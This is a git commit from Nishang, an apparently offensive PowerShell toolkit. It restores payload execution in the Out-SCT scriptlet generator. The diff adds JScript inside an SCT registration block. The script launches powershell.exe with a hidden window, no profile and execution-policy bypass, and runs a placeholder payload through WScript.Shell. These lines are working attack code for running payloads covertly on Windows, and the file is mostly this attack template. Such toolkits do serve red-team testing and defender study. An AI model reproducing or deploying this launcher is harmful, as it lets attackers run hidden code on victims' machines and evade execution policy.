Restored Out-SCT's PS payload capability

This commit is contained in:
Nikhil "SamratAshok" Mittal
2018-09-09 15:32:05 +05:30
parent dc9e0be0ed
commit b44348e449
+3 -1
View File
@@ -80,7 +80,9 @@ https://github.com/samratashok/nishang
<script language="JScript">
<![CDATA[
r = new ActiveXObject("WScript.Shell").Exec($Payload);
ps = 'powershell.exe -w h -nologo -noprofile -ep bypass ';
c = "$Payload";
r = new ActiveXObject("WScript.Shell").Run(ps + c,0,true);
]]>
</script>
</registration>